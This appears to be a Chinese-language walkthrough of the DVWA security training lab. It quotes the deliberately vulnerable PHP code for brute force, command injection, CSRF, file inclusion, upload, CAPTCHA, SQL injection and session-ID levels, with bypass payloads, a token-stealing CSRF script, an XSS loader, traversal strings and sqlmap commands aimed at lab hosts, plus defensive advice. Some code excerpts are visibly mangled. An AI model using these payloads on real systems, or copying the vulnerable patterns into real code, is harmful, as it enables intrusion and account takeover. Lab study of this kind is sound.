在 Web 安全领域暴力破解是一个基础技能,不仅需要好的字典,还需要具有灵活编写脚本的能力。
查看源码:
if( isset( $_GET[ 'Login' ] ) ) {
# 获取用户名和密码
$user = $_GET[ 'username' ];
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
# 查询验证用户名和密码
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( ''
. mysql_error() . '
' );
if( $result && mysql_num_rows( $result ) == 1 ) {
# 输出头像和用户名
$avatar = mysql_result( $result, 0, "avatar" );
echo "Welcome to the password protected area {$user}
"; } else { 登录失败 } mysql_close(); }源码中暴露的问题:
查看源码:
// 对用户名和密码进行了过滤
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// 验证用户名和密码
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
if( $result && mysql_num_rows( $result ) == 1 ) {
登录成功
}
else {
sleep( 2 );
登录失败
}
函数:
mysqli_real_escape_string(connection,escapestring); //转义字符串中的特殊字符
// connection 必需。规定要使用的 MySQL 连接。
// escapestring 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。
源码中暴露的问题:
查看源码:
// 检测用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 过滤用户名和密码
$user = $checkToken_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// 数据匹配
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( ''
. mysql_error() . '
' );
if( $result && mysql_num_rows( $result ) == 1 ) {
登录成功
}
else {
sleep( rand( 0, 3 ) );
登录失败
}
函数:
mysqli_real_escape_string(connection,escapestring); //转义字符串中的特殊字符
stripslashes(string) // 删除字符串中的反斜杠
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// 增加了token的检测,token的值来源于index.php
源码中暴露的问题:
增加了对token的检测
抓包使用Pitchfork暴破模式,选择需要暴破的密码和token值:
在 Payloads 中,Payload set 1选择使用 Simple list ,将密码字典添加进去;在Payload set 2 中 token 值选择使用 Recursive grep(递归查询:从response中提取数据 user_token 的,然后去替换我们爆破的值)。
设置 Options,Request Engine 的线程设置为 1 ,同时需要设置 Grep - Extract ,点击 Add ,在弹出的页面点击 Refetch response ,将其中 token 的值选中,便会自动选择范围;Redirections 选择Always;在Payloads中的“Initial payload for first request”添加初始值。
因为本关涉及到 302 重定向,所以首先得在测试器中勾选「总是」重定向才可以:
开始暴破,成功暴破出密码:
查看源码得知:
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "
This account has been locked due to too many incorrect logins.
";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "
";
print "The timenow is: " . date ("h:i:s", $timenow) . "
";
print "The timeout is: " . date ("h:i:s", $timeout) . "
";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked
";
}
}
用户可以执行恶意代码语句,在实战中危害比较高,也称作命令执行,一般属于高危漏洞。
- 继承Web服务程序的权限去执行系统命令或读写文件
- 反弹shell
- 控制整个网站甚至控制服务器
- 进一步内网渗透
查看源码:
// 获取 ip
$target = $_REQUEST[ 'ip' ];
// 判断操作系统来细化 ping 命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix 需要手动指定 ping 命令的次数
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 输出命令执行的结果
echo "{$cmd}
";
函数:
stristr(string,search,before_search) // 搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分
// string(规定被搜索的字符串) search(规定要搜索的字符串) before_search(默认为'false',弱国设置为'true'则它将返回search参数第一次出现之前的字符串部分)
// 不区分大小写,如需区分大小写的搜索,请使用strstr()函数
php_uname() //返回了运行 PHP 的操作系统的描述。 这和 phpinfo() 最顶端上输出的是同一个字符串。 如果仅仅要获取操作系统的名称。可以考虑使用常量 PHP_OS,不过要注意该常量会包含 PHP 构建(built)时的操作系统名。
shell_exec() //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
源码中暴露的问题:
直接将target变量带入到了shell_exec命令执行的函数中了
命令连接符:
A&B // 两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
A&&B // 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行
A|B // 直接执行后面的语句。
A||B // 如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
查看源码:
$substitutions = array(
'&&' => '',
';' => '',
);
// 移除黑名单字符
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
函数:
str_replace(find,replace,string,count)
// find 必需。规定要查找的值。
// replace 必需。规定替换 find 中的值的值。
// string 必需。规定被搜索的字符串。
// count 可选。对替换数进行计数的变量。
源码中暴露的问题:
添加黑名单机制过滤掉了’&&’,’;'两种传参,但还可以使用其他方式
查看源码:
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// 移除黑名单字符
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
源码中暴露的问题:
看似过滤挺全面的,但其实’| ‘这个中是带空格的,所以我们依然可以使用’|'绕过
查看源码:
// 以 . 作分隔符 分隔 $target
$octet = explode( ".", $target );
// 检测分隔后的元素是否都是数字类型
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// 如果都是数字类型的话 还原 $target
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
else {
// 否则提示输出无效
$html .= 'ERROR: You have entered an invalid IP.
';
}
可以理解为白名单过滤,限制了传参只能为数字,且为一串ip地址的形式
CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
- 修改用户信息,如用户头像、发货地址等
- 个人隐私泄露,机密资料泄露
- 执行恶意操作,如修改密码,购买商品,转账等(盗用受害者身份,受害者能做什么攻击者就能以受害者身份)
查看源码:
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ):
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
源码中暴露的问题:
通过GET方式获取密码,两次密码一致的话,然后直接代入数据中修改密码。属于最基础的GET型CSRF。
只要让受害者点击这个网址就会将密码修改为admin(可以生成短链接)
http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
查看源码:
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
函数:
stripos(string,find,start) // 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
源码中暴露的问题:
增加了Referer判断,若HTTP_REFERER和SERVER_NAME不是来自同一个域的话就无法进行到循环内部,执行修改密码的操作,可以伪造Referer来进行攻击
使用BP工具生成CSRF POC,新建html,添加js脚本:
<script> document.forms["csrf"].submit(); script>
将上述html页面放置网站目录下,然后让用户访问自动触发提交
目录混淆Referer:
http://127.0.0.1/i/DVWA-master/csrf.html
文件名混淆Referer:将上述html文件重命名为127.0.0.1.html
http://127.0.0.1/i/DVWA-master/127.0.0.1.html
这里有一个小细节,如果目标网站是 http 的话,那么 csrf 的这个 html 页面也要是 http 协议,如果是 https 协议的话 就会失败,具体自行测试。
查看源码:
# 检测用户的 user_token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
源码中暴露的问题:
增加了token验证,这样CSRF攻击必须知道用户token才可以成功,这一关是思路是使用XSS来获取用户token,然后将token放到CSRF的请求中。这里涉及到跨域的 问题,而html无法跨域,所以尽量使用原生的js发起http请求。
构建csrf.js:
// 首先访问这个页面 来获取 token
var tokenUrl = 'http://10.10.10.137/i/DVWA-master/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
// 使用正则提取 token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
// 发起 CSRF 请求 将 token 带入
var new_url = 'http://10.10.10.137/i/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=123&password_conf=123&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();
然后将这个csrf.js上传到靶场目录
再通过DVWA DOM XSS的high级别发起XSS测试:
?default=English&a=</option></select><script src="http://10.10.10.137/i/DVWA-master/csrf.js"></script>
查看源码:
// 依然检验用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 需要输入当前的密码
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// 检验当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
增加了输入当前密码的选项,攻击者不知道原始密码下是无法发起CSRF攻击的
增加验证码机制(CSRF攻击往往是在用户不知情的情况下构造了网络请求。而验证码则强制用户必须与应用进行交互,才能完成最终请求。)
验证Referer字段(访问一个安全受限页面请求必须来自同一个网站,但并非万无一失,Referer的值是由浏览器提供的,可以被伪造)
添加token并验证(token是访问时服务端生成一个随机值传回到前端表单里,当我们提交表单时,token会作为一个参数提交到服务器端并验证,如果存在XSS漏洞,token防御将无效)
文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。
- web服务器的文件被外界浏览,导致敏感信息泄露
- 脚本被任意执行,导致网站被篡改
查看源码:
$file = $_GET[ 'page' ];
if( isset( $file ) )
include( $file );
else {
header( 'Location:?page=include.php' );
exit;
}
常见的文件包含函数:
include() // 包含并运行制定文件。在出错时产生警告(E_WARNING),基本会继续运行。
include_once() // 在脚本执行期间包含并运行制定文件。与include区别:检查是否被包含过,如果是则不会再次包含。
require() // 包含并运行指定文件。require在出错时产生E_COMPLE_ERROR几倍错误,脚本中止运行
require_once() // 基本完全与require相同 与require区别:检查是否被包含过,如果是则不会再次包含。
源码中暴露的问题:
page参数没有做任何过滤,直接被include函数包含,造成文件包含漏洞产生
?page=../../hackable/uploads/1.php&8=phpinfo();
?page=http://www.baidu.com/robots.txt
但是实际环境很难遇到远程文件包含
查看源码:
// Input validation
$file = str_replace( array( "http://", "http://" ), "", $file );
$file = str_replace( array( "../", "../"" ), "", $file );
源码中暴露的问题:
过滤了 http:// ,http:// ,…/ , … ,这里可以双写绕过:
?page=..././..././hackable/uploads/1.php&8=phpinfo();
查看源码:
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
函数:
fnmatch(pattern,string,flags) // 函数根据指定的模式来匹配文件名或字符串。
源码中暴露的问题:
限制了page参数的开头必须是file,但是可以用file://协议类进行文件读取
查看源码:
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
使用白名单限制文件只能是以上几种
大部分文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤 , 还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护, 还有一些常见的解析漏洞,上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞 , 攻击者甚至 可以直接上传一个webshell到服务器上 。
- 如果上传的文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
- 如果上传的文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
- 甚至攻击者可以直接上传一个webshell到服务器上 完全控制系统或致使系统瘫痪。
查看源码:
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
函数:
basename(path,suffix) // 函数返回路径中的文件名部分。
move_uploaded_file(file,newloc) // 函数将上传的文件移动到新位置。
源码中暴露的问题:
正常的长传文件,没有做任何过滤,并且输出了上传文件的路径信息
查看源码:
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
源码中暴露的问题:
只进行了Content-Type类型校验,我们正常上传.png文件,抓包修改文件后缀名为.php
查看源码:
// h获取文件名、文件后缀、文件大小
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// 文件后缀是否是 jpg jpeg png 且文件大小 小于 100000
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
{1}
// 使用 getimagesize 函数进行图片检测
getimagesize( $uploaded_tmp ) ) {
上传图片
函数:
strtolower(string) // 函数把字符串转换为小写。
getimagesize() // 函数用于获取图像大小及相关信息
源码中暴露的问题:
规定了文件后缀为小写,检测文件是否为图片码,这里可以通过制作图片吗绕过这个函数检测
查看源码:
# 时间戳的 md5 值作为文件名
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
# 检测文件后缀、Content-Type类型 以及 getimagesize 函数检测
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// 删除元数据 重新生成图像
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
文件名随机这里就无法使用截断、重写图片的话,使用图马就也无法绕过
IIS6.0 在解析文件时存在以下两个解析漏洞 .
当建立 .asa 、.asp 格式的文件夹时 , 其目录下的任意文件都将被 IIS 当作 asp 文件 来解析 .
在 IIS6.0 下 , 分 号 后面 的 扩 展 名 不 会 被 解 析 , 也 就 是 说 当 文 件 为 *.asp;.jpg时,IIS6.0 同样会以 ASP脚本来执行 .
Apache 解析漏洞
在 Apache 1.x 和 Apache 2.x 中存在解析漏洞 , 但他们与 IIS 解析漏洞不同 .
Apache 在解析文件时有一个规则 : 当碰到不认识的扩展名时 , 将会从后向前解析 , 直到 碰到认识的扩展名位置 , 如果都不认识 , 则会暴露其源码 。比如:1.php.rar.xx.aa
Apache 首先会解析 aa 扩展名 , 如果不认识则接着解析 xx 扩展名 , 这样一直遍历到认识 的扩展名为止 , 然后再将其进行解析 .
PHP CGI 解析漏洞
在 PHP的配置文件中有一个关键的选项 : cgi.fi: x_pathinfo. 这个选项在某些版本是
默认开启的 , 在开启时访问 url, 比如: http://www.xxx.com/x.txt/x.php,x.php 是不存在的 文件 , 所以 php 将会向前递归解析 , 于是就造成了解析漏洞 . 由于这种漏洞常见于 IIS7.0 、 IIS7.5 、 Nginx 等 Web服务器 , 所以经常会被误认为是这些 Web服务器的解析漏洞 .
Nginx <8.03 空字节代码执行漏洞
影响版本 :0.5,0.6,0.7<=0.7.65 0.8<=0.8.37
Nginx 在图片中嵌入 PHP代码 , 然后通过访问 xxx.jpg%00.php 可以执行其中的代码 .
其他
在 windows 环境下, xx.jpg[ 空格 ] 或 xx.jpg. 这两类文件都是不允许存在的 , 若这样命 名,windows 会默认除去空格或点 , 攻击者可以通过抓包 , 在文件名后加一个空格或者点绕过 黑名单 . 若上传成功 , 空格和点都会被 windows 自动消除 , 这样也可以 getshell.
如果在 Apache 中 .htaccess 可被执行 . 且可被上传 . 那可以尝试在 .htaccess 中写入 :
SetHandlerapplication/x-httpd-php
然后再上传名称为 shell.jpg 的 webshell, 这样 shell.jpg 就可解析为 php 文件 .
检查文件上传路径 ( 避免 0x00 截断、 IIS6.0 文件夹解析漏洞、目录遍历 )
文件扩展名检测 ( 避免服务器以非图片的文件格式解析文件 )
文件 MIME验证 ( 比如 GIF 图片 MIME为 image/gif,CSS 文件的 MIME为 text/css 等 )
文件内容检测 ( 避免图片中插入 webshell)
图片二次渲染 ( 最变态的上传漏洞防御方式 , 基本上完全避免了文件上传漏洞 )
文件重命名 ( 如随机字符串或时间戳等方式 , 防止攻击者得到 webshell 的路径 )
另外值得注意的一点是, 攻击者上传了webshell之后需要得到webshell 的路径才能通过工 具连接 webshell, 所以尽量不要在任何地方 ( 如下载链接等 ) 暴露文件上传后的地址, 在这里 必须要提一点 , 就是有很多网站的上传点在上传了文件之后不会在网页上或下载链接中暴露 文件的相对路径, 但是在服务器返回的数据包里却带有文件上传后的路径
CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。而出现了逻辑漏洞给就有办法绕过验证码
泄露隐私信息,登录别人账户执行其他操作
查看源码:
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the end user
echo "Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
源码中暴露的问题:
服务器将改密操作分成两步,第一步检查用户输入验证码,验证通过后服务器返回表单,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是这里存在明显的逻辑漏洞,服务器仅通过检查Change、step参数来判断用户是否已经输入了正确的验证码。
输入密码,抓包
有,所以没能成功显示验证码,发送的请求包中也就没有(recaptcha_challenge_field、recaptcha_response_field两个参数)
更改step参数跳至第2步绕过验证码:
放包,修改密码成功:
由于没有任何防CSRF的机制,也可以轻易构造攻击页面。
查看源码:
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "
You have not passed the CAPTCHA.
";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( ''
. mysql_error() . '
' );
// Feedback for the end user
echo "Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } mysql_close(); } ?>
源码中暴露的问题:
在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以i通过伪造参数绕过验证。
查看源码:
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
)
源码中暴露的问题:
当$resp为真,且参数g-recaptcha-response等于hidd3n_valu3,且参数HTTP_USER_AGENT等于reCAPTCHA就认为验证码正确
由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。
代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。
用户输入的数据被当作后端代码执行
- 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
- 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
- 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
- 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
查看源码:
$id = $_REQUEST[ 'id' ]
# 没有过滤就直接带入 SQL 语句中 使用单引号闭合
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
while( $row = mysqli_fetch_assoc( $result ) ) {
// 回显信息
$first = $row["first_name"];
$last = $row["last_name"];
$html .= "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
函数:
mysqli_fetch_assoc() // 函数从结果集中取得一行作为关联数组。
源码中暴露的问题:
1. 对用户的传参没有进行过滤,可以直接拼接sql语句
2. 采用单引号闭合
查看源码:
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
函数:
mysqli_real_escape_string(connection,escapestring); // 函数转义在 SQL 语句中使用的字符串中的特殊字符。
connection // 必需。规定要使用的 MySQL 连接。
escapestring // 必需。要转义的字符串。
源码中暴露的问题:
只是由GET类型传参改为POST类型传参,闭合方式不同,依然没有过滤
查看源码:
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"
源码中暴露的问题:
从SESSION中获取id的值,使用单引号闭合。因为SESSION获取值的特点,不能直接在当前页面注入
查看源码:
// Anti-CSRF token 防御 CSRF 攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$id = $_GET[ 'id' ];
// 检测是否是数字类型
if(is_numeric( $id )) {
// 预编译
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
验证token防御CSRF攻击,检测id是否为数字
prepare预编译的优势:一次编译,多次运行,省去了解析优化等过程
SQL语句在程序运行前已经进行了预编译,在程序运行时第一次操作数据库之前,SQL语句已经被数据库分析,编译和优化,对应的执行计划也会缓存下来并允许数据库已参数化的形式进行查询,当运行时动态地把参数传给PreprareStatement时,即使参数里有敏感字符如 or '1=1’也数据库会作为一个参数一个字段的属性值来处理而不会作为一个SQL指令,如此,就起到了SQL注入的作用了!
用户可以控制输入但是页面没有回显
查看源码:
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// 查询到结果 只输出如下信息
$html .= 'User ID exists in the database.
';
}
源码中暴露的问题:
使用GET类型传参,对用户输入没有过滤,页面无回显
由于盲注费时,这里使用sqlmap工具演示
因为DVWA是由登录机制的,所以这里手动指定–cookie来进行会话认证:
python2 sqlmap.py -u "http://127.0.0.1/i/DVWA-master/vulnerabilities/sqli_blind/?id=1*&Submit=Submit" --cookie="security=low; PHPSESSID=6do0nhe0e2kjimnrtdbo7q74i2"
查看源码:
$id = $_POST[ 'id' ];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
源码中暴露的问题:
改为POST类型传参,同样页面无回显
同样使用sqlmap工具:
python2 sqlmap.py -u "http://127.0.0.1/i/DVWA-master/vulnerabilities/sqli_blind/?id=1*&Submit=Submit" --cookie="security=medium; PHPSESSID=6do0nhe0e2kjimnrtdbo7q74i2" --flush-session
查看源码:
$id = $_COOKIE[ 'id' ];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
源码中暴露的问题:
只是从Cookie中获取id传入数据库中查询,使用单引号闭合,依然没有过滤
同样使用sqlmap工具:
python2 sqlmap.py -u "http://127.0.0.1/i/DVWA-master/vulnerabilities/sqli_blind/" --cookie="id=1*; security=medium; PHPSESSID=6do0nhe0e2kjimnrtdbo7q74i2" --flush-session
与SQL注入靶场一样,验证token防御CSRF,检测id是否为数字,prepare预编译防止sql注入
Cookie是保存在客户端浏览器中的,Session是保存在服务器中的。如果Session过于见到就容易被人伪造,根本不需要知道用户的密码就能登录服务器了
模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务。
查看源码:
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
源码中暴露的问题
检查是否存在last_session_id,不存在就置0,存在就加1,然后将其作为session存入cookie
获取网址和cookie即可绕过登录
容易发现session的规律,填入网址和session即可绕过用户登录访问
查看源码:
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
源码中暴露的问题:
采用时间戳来作为session
发现session规律,通过在线时间戳生成,即可伪造cookie
查看源码:
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
